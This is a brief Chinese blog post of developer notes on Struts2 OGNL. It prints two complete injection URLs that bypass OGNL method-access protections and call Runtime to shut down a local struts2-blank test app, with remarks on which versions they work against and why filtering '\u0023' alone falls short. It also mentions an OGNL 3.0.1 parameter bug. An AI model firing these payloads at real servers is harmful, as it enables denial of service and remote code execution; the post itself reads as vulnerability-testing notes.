`
sw1982
  • 浏览: 503933 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

struts2-ognl mark

阅读更多

暂时mark在这,后面再补充

 

1. 关于漏洞的问题

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action

 

2.0.9不行

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

 

2.0.14失效

仅过滤\u0023不行

 

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('zz')(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(x))(zzxx))&('aaa')((('\43context.excludeProperties\u003dEMPTY_SET')('x'))(zzxx))&(asdf)(('@java.lang.Runtime@getRuntime().exit(1)')('z'))

 

2.ognl3.0.1的问题

 

升级到struts2.2.3之后,ognl3.0.1会产生一个小bug。 基本类型的参数,比如int,long,short,如果在请求参数中没有赋值,会抛出NosuchMethod的异常。

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics